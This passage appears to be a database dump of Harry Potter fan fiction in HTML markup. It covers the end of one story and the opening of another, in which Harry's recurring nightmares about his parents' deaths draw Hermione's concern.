style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;There we are.&#8221; Harry grinned and kissed her cheek.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;That&#8217;s my girl&#8230;genius by day&#8230;&#8221; he voice lowered to a husky\nwhisper, &#8220;&#8230;vixen by night.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry please!&#8221; she gasped and blushed furiously.&nbsp; His\neyes twinkled with mirth, and she couldn&#8217;t help but smile at him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Sliding his arm around her waist, the two headed into\nDiagon Alley.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Now, Harry was used to having people staring at him, but it\nseemed like everyone he passed by was gawking at him.&nbsp; Hermione could\nsense it too, but most of the looks she got were jealous glares from\ngirls.&nbsp; It made sense to her since Harry had never openly showed such a\nclose affection to someone of the opposite sex &#8211; especially walking down the\nmiddle of Diagon Alley with his arm slung around her waist.&nbsp; She felt\nnervous but excited and proud at the same time.&nbsp; She had to admit that it\ngave her ego quite a boost that she was Harry Potter&#8217;s girlfriend, and his\nfianc&#233; at that!&nbsp; Hermione didn&#8217;t even want to think of the backlash when\nthat information got out.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;So what&#8217;s our first stop?&#8221; Harry asked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Why don&#8217;t we pick up our books first?&nbsp; That way we\nwon&#8217;t get stuck in there later on.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Sure, but can I meet you there?&nbsp; I have to stop by\nGringotts first, okay?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;That&#8217;s fine, I wanted to check out the new Hogwarts A\nHistory anyway.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry shook his head; he should&#8217;ve known.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;See you soon.&#8221; He bent down and kissed her cheek.&nbsp; He\nheard several gasps but ignored their onlookers.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">They separated, and Hermione headed into the bookshop.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry stopped by Gringotts to fill up a pouch with enough\ngalleons to pay for his supplies and a few extra for during the school\nyear.&nbsp; He was heading back to the bookshop and decided to check the list\nof supplies that Hogwarts had sent him.&nbsp; His eyes scanned through it, but\nsomething just didn&#8217;t click.&nbsp; Then, he finally caught it.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8216;I don&#8217;t believe it!&#8217; he screamed silently.&nbsp; Why\nhadn&#8217;t he seen it sooner?</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">He&#8217;d been given all the classes that he needed to graduate\nand so had Hermione, but there was one that was left out&#8230;Defense Against the\nDark Arts.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Author&#8217;s Notes:&nbsp; That&#8217;s gonna do it for &#8216;Meet the\nParents&#8217;, but don&#8217;t worry, there will be one more story in this series.&nbsp;\nIt&#8217;s gonna go through their final year and maybe a little longer so stay tuned for\n&#8216;Duel of the Hearts&#8217;.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(162, 1, '\n\n\n\n<p class="MsoBodyText">Disclaimer:&nbsp; I do\nnot own the characters of Harry Potter.&nbsp;\nThey are the property of &nbsp;&nbsp;J. K.\nRowling.</p>\n\n<p class="MsoNormal"><b>&nbsp;</b></p>\n\n<p class="MsoNormal"><b>&nbsp;</b></p>\n\nEndings and Beginnings \n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8216;No, stay back!&#8217;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8216;What do you plan to do?&nbsp; You know that you can&#8217;t stop\nme; now, give me the child!&#8217;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8216;Never Voldomort, I won&#8217;t let you have him!&#8217;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8216;Give me the boy, or die, Lily!&#8217;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8216;Kill me then.&#8217;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8216;Very well!&#8217;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8216;I love you, Harry; I&#8217;m sorry.&#8217;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;NOOOOOO!!!&#8221; Harry shot up out of the bed.&nbsp; He was\ncovered in a cold sweat, and his body was trembling.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;The same dream again.&#8221; Harry had been having nightmares\nevery night for almost the last month.&nbsp; It was always the same dream &#8211; the\nnight his parents were murdered.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry climbed out of bed and went to his dresser.&nbsp; He\nlooked himself in the mirror and wiped his brow.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Get a hold of yourself, Potter, act like a man!&#8221; He was\nnow in his sixth year at Hogwarts, and he refused to act like a crybaby.&nbsp;\nHe had to be strong &#8211; no matter what.&nbsp; Harry mentally smacked himself and\ntook a deep breath.&nbsp; Checking his watch, he saw that he still had a few\nhours left before classes began.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What&#8217;s happening to me?&nbsp; Why do I keep remembering\nthe same thing over and over again?&#8221; Harry brushed his hair back and looked at\nhis scar.&nbsp; He thought about Voldomort, but his scar had not being acting\nup for several months now.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Maybe I&#8217;m just being paranoid,&#8221; Harry said to\nhimself.&nbsp; With a long sigh, he collapsed back into his bed and was asleep\nbefore his head hit the pillow.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry, wake up, c&#8217;mon!&#8221; Ron Weasley nearly shouted.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hn.&nbsp; Leave me alone,&#8221; Harry groaned &#8211; his face buried\nin his pillow.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;No, you&#8217;re gonna be late!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I said leave me be!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Ron groaned in defeat.&nbsp; When Harry Potter didn&#8217;t want\nto get up, it was impossible to change his mind.&nbsp; Nobody could wake him up\n&#8211; with one exception.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;That&#8217;s it!&#8221; Ron dashed out of their room and down to the\ncommons.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione Granger was just about to head for her advanced\ntransfiguration class when Ron burst into the room.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hermione, thank God I found you!&#8221; he said out of breath.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Ron, what&#8217;s wrong?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I need your help, Herm.&nbsp; It&#8217;s Harry&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What about him?&#8221; Hermione asked worriedly.&nbsp; She\njumped at the thought of Harry being in trouble.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well&#8230;he&#8217;s got a severe case of &#8216;lazy-bone&#8217; syndrome this\nmorning.&nbsp; He won&#8217;t listen to me so I was hoping&#8230;maybe you could get him\nup.&#8221; Hermione crossed her arms in annoyance.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What am I&#8230;his personal alarm clock?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;No, but he&#8217;ll listen you.&nbsp; If you tell him to get up,\nI&#8217;m sure he&#8217;ll do it.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Fine, but he better not make me late!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione stomped up the stairs and entered Ron and Harry&#8217;s\nroom.&nbsp; She was somewhat angry at having to play nursemaid for Harry, but\nin a way, she felt kinda good doing this &#8211; like she was there when he needed\nher.&nbsp; Her anger dwindled as she approached his bed.&nbsp; He was lying on\nhis side; his face still burrowed halfway into the pillow.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8216;He looks so cute like this,&#8217; Hermione said silently.&nbsp;\nAt that point, Harry rolled over, and his comforter fell off him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Oh my&#8230;&#8221; Hermione clamped her hand over her mouth.&nbsp;\nHarry lay before her in nothing but his boxer shorts; he&#8217;d removed his\nsweat-soaked t-shirt the night before.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione was speechless; all she could do was stare.&nbsp;\nHe&#8217;d grown into quite a good-looking young man.&nbsp; Years of quidditch had\nmade his muscles fill out very nicely, and his height had increased to almost\nsix feet.&nbsp; His eyes had remained the same deep emerald that they&#8217;d always\nbeen, and Hermione remembered how weak-kneed those eyes could make her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry&#8230;maybe&#8230;someday&#8230;&#8221; She stopped her train of\nthought.&nbsp; No, it would never work.&nbsp; Harry Potter wouldn&#8217;t want her;\nshe was a bookworm &#8211; not like some of the flirts that hung on his every word.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;No!&#8221; His sudden outburst caught her attention.&nbsp;\nHarry&#8217;s body contorted, and he clenched his fists in his sleep.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;No, not her, please, don&#8217;t hurt her&#8230;please, not Hermione!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The young woman&#8217;s eyes widened; he was having a dream about\nher.&nbsp; But from the looks of it, it was more like a nightmare.&nbsp;\nEmbarrassment aside, she knelt by his bedside and took his clenched fist in her\nhand.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry, wake up, it&#8217;s only a dream, please, it&#8217;s me,\nHermione.&#8221; At the mention of her name, Harry&#8217;s eyes shot open.&nbsp; Without\nwarning, he reached out and wrapped her in a tight hug.&nbsp; He clutched her\nto his chest as if his life depended on it.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hermione, thank goodness you&#8217;re all right.&#8221; Harry was\npractically panting, and his embrace tightened.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry, relax, it was only a dream, okay?&#8221; Hermione blushed\nas he pressed her up against his chest.&nbsp; She had to admit; it felt good to\nbe held in his arms.&nbsp; He was holding her strongly, but she could still\nfeel the underlying tenderness that he always showed her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;A dream, are you sure?&#8221; Harry asked and looked down at\nher.&nbsp; His eyes were sick with worry, and Hermione felt her heart\nmelt.&nbsp; She reached up and brushed some of his hair off his sweaty face.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8217;m sure, Harry, everything&#8217;s all right now.&#8221; She ran her\nhand down the side of his face, and a small smile appeared on his lips.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8230;I&#8217;m sorry,&#8221; he said softly and released her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;It&#8217;s okay, Harry, we all have nightmares.&nbsp; Now, what\ndo you say you get dressed and let&#8217;s get to class?&#8221; Harry finally realized that\nall he had on were his shorts.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Oh my gosh!&#8221; He turned as red as a tomato, and Hermione\ngiggled at him.&nbsp; Putting a smug smile on her face, she leaned over and\ntouched his nose with the tip of her finger.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Don&#8217;t be embarrassed, I think you look cute like this!&#8221;\nHarry&#8217;s blush increased ten-fold, and he turned away shyly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hermione&#8230;&#8221; She smiled at him.&nbsp; He never did have a\nway with girls &#8211; her being the exception.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry, it&#8217;s okay, I won&#8217;t say anything all right.&nbsp;\nNow, let&#8217;s get going before McGonagall gives up both detention for being late.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry and Hermione raced in just as Professor McGonagall\nstood up from her desk.&nbsp; She looked at the two of them with a stern glare\nbut didn&#8217;t say anything.&nbsp; The two decided not to ask whether they were\nlate or not and merely sat down.&nbsp; Ron looked over at Hermione and grinned\nslightly; she just rolled her eyes and opened her book.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Ron, you owe me one!&#8221; Hermione stated as she plopped down\nnext to Harry at the lunch table.&nbsp; The red-haired young man just grinned\nat her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Oh c&#8217;mon, Herm, don&#8217;t be mad; I told you that you could do\nit.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Do what?&#8221; Harry asked as he reached for a slice of\nham.&nbsp; The grin on Ron&#8217;s face widened.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I just know that Hermione&#8217;s the only person that can wake\nyou up!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;That&#8217;s not true!&#8221; Harry gasped blushing slightly. &#8220;I was\ntired this morning, okay?&#8221; He looked down at his hands and set his fork down.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry, are you all right?&#8221; Hermione asked and put hand on\nhis shoulder.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8230;I&#8230;I don&#8217;t know&#8230;I&#8217;ve been having nightmares every night\nfor the last few weeks, and I guess the loss of sleep is finally catching with\nme.&#8221; As proof, Harry let out a soft yawn.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Everyone has nightmares, Harry,&#8221; Ron stated.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yeah, but do they have the same one night after night?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Do you remember any of it?&#8221; Hermione asked softly.&nbsp;\nHarry turned towards her, and she immediately regretted asking.&nbsp; His eyes\nheld a look of pure agony, and she clutched his hand in her own.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yeah, I remember it&#8230;mostly.&nbsp; It&#8217;s the night my\nparent&#8217;s were killed.&#8221; Now, Hermione really regretted asking him.&nbsp; She\nknew how much it hurt Harry to remember what happened to his parents.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8217;m sorry, Harry.&#8221; He squeezed her hand gently and shook\nhis head.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;It&#8217;s okay.&nbsp; I&#8217;ve learned to deal with it by now.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry suddenly grabbed his head and howled in pain.&nbsp;\nHis head whipped back so hard that his neck nearly broke.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry!&#8221; Hermione and Ron gasped at the same time.&nbsp;\nHarry&#8217;s body jolted so hard that he fell onto the floor.&nbsp; He began\nconvulsing on the floor screaming &#8216;NO&#8230;NO&#8230;NO&#8230;&#8217; over and over 